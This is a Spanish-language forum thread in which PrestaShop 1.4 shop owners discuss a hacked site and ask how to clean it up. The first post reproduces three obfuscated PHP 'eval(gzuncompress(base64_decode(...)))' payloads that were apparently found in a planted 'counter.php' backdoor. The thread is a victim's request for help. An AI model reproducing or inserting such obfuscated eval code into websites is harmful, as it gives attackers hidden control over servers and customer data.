kalandraka Posted January 16, 2014 Share Posted January 16, 2014 Despues de que google me avisara de "Software malintencionado sin determinar" he encontrado un archivo llamado "counter.php" en la raiz con el siguiente código encriptado eval(gzuncompress(base64_decode('eF6VksEKwjAQRH/FgxAFEbFWCNKDHqyIIFbRpiLFJEWIFcWCUL9eJxH0sFU8dLPNvN1Jtq2Hs/loOFtuWTpP2S4YXq/7siH3RdbvpTpTZ501mPKiUoe8kKzWZh6CztUhQBKwZoug8RCKrbcqMoLAtrIOjnjlVK/fLq+Vqv10qO7+pv7xd3f45i+gnBDGd8RkJTpxN8pFF2/8mCwCYq46nhbJBoRvEOWzgnZ3pG9oQsdgpoV13vhYjP2yNA3l7exokhR2XutSjvlFnvIOfTbhgbD3vCdxdFOTRcV/5EgONc8Qw7WpmKUjjQy5m6dr+ezZHDwAb5jQ1A=='))); ?><? eval(gzuncompress(base64_decode('eF5tkEtrg0AUhf9KFkIS6EInDyrBRUIdjUGTjs6MTinFUYsmPoKNMUnpf6+PQBYtDJzDmcO9H/ezyoNTUuSD7UhIxt+CryzL0r+OhjZEGEOZYJHYrgh1hGd4+DRsHgPymYFL2tiIwoKDZ6WxXgaPTMet5a5VtTJZpUGmdp8gvnIgpV0vrVittGkAYOa5xrFLZbGR+1IbYQbxgdj9wsZZjoRgg6EiuFYexbUjWS2Vh2Pb1CyVT5hpZujm7Y2Nrxm6naeJCdCcpvEmypCO9quYqtPaI6EVksN16yLTFKc1JbHt4Prm7FeMQih5YliEPeQOpPXutbP/cBg5uTHXiBkgVfgidlGGzpzCI89mMadY/ktrZEzi2qX2XFQ8RiOCiUPaix8O/RyrYNQq7w2uyWe/R3J6WS8bGS/K6FSV+YD7X9F8+hFGQRFGI8F/E5L38eLnFx7ajwY='))); ?><? eval(gzuncompress(base64_decode('eF591F1vgjAUBuC/gonBNjOmH4gY0mRuYbshdqm4G0KI23AzMTPx44rw33couAoYLqSCT0/gnBd3WzTYnU7ZGQ2lTAnG+ff+8LHZW/rU10dxPFx+vxB5IBPW/mBNqBi+hvJpEa7iUSrTURKTBA3TVaDeAxVLRHBSQSaW6zDUX7mQiGJ/t0WovZkm+m7oWCKGsRDWdrM/Zdi2O5IZyfslN9Lpl46R0345NdLtl66Rs345M9Lrl56R8345N5KSBr2ZEaU4GZQzgZbnMJU6FTeAwxRh7/l4ySzbtrrAMQDn1Yw7o4VggITGWhNYXVg6hDayQ2dQVWPvHr4moCLze4Q36jFS12P0HnaamF0xh+X6xK9BVP7mmFR3ytTR4NgvCmimVtYAmlPmH5rT9nVA2Ph5rUL5FqUqiNZqGanFcvUSqPHNKzhtHXB1E4547FStw8T0a6ZRXBfCiYBZl5vz9nW47GI/+/w56D8Bxy86db3/ukXxB2L0Il0='))); ?> Al desencriptarlo me aparece esto-> captura Alguien me puede decir que hacía exactamente la función? Tengo que hacer algo más aparte de cambiar contraseñas en FTP, y eliminar el archivo? Gracias por vuestra ayuda!!! Link to comment Share on other sites More sharing options...
camereroloco Posted January 16, 2014 Share Posted January 16, 2014 Buenas, A mí también me la han hackeado esta madrugada. No entiendo del tema pero creo que hay que descargarse la web para escanearla y así desinfectarla, luego reestablecer la copia de seguridad y cambiar todas las contraseñas. Me dicen que es muy probable que me haya ocurrido porque aún tengo prestashop 1.4.9.0 Enfin si alguien puede aportar algo de luz al asunto mejor que mejor y mucha suerte kalandraka. De lo que me entere publico. Saludos 1 Link to comment Share on other sites More sharing options...
kalandraka Posted January 16, 2014 Author Share Posted January 16, 2014 Buenas, A mí también me la han hackeado esta madrugada. No entiendo del tema pero creo que hay que descargarse la web para escanearla y así desinfectarla, luego reestablecer la copia de seguridad y cambiar todas las contraseñas. Me dicen que es muy probable que me haya ocurrido porque aún tengo prestashop 1.4.9.0 Enfin si alguien puede aportar algo de luz al asunto mejor que mejor y mucha suerte kalandraka. De lo que me entere publico. Saludos Yo tengo la version 1.4.7.0 , debe haber afectado a las 1.4. Si haber si alguien sabe que es lo que hace ese código!!! Saludos Camereroloco Link to comment Share on other sites More sharing options...
Feliz Garcia Posted January 16, 2014 Share Posted January 16, 2014 He encontrado esto: http://jordiob.com/2012/07/como-resolver-los-ataques-de-malware-yo-virus-a-prestashop/ quiza os pueda servir de orientación. Link to comment Share on other sites More sharing options...
Recommended Posts